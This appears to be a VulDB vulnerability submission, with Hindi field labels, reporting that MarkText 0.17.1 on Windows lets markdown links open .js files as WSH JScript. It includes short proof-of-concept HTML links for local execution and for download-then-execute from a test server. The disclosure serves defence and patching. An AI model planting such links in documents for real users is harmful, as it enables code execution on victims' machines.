| शीर्षक | MarkText on Windows doesn't filter WSH JScript, which may cause code execution |
|---|
| विवरण | Although marktext filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version: 0.17.1(latest)
PoC
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript</a>
For more details, please click the announcement. |
|---|
| स्रोत | ⚠️ https://github.com/marktext/marktext/issues/3575 |
|---|
| उपयोगकर्ता | Tom23 (UID 41413) |
|---|
| सबमिशन | 20/02/2023 01:15 PM (4 साल पहले) |
|---|
| संयम | 24/02/2023 08:56 AM (4 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 221737 [MarkText तक 0.17.1 पर Windows WSH JScript अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|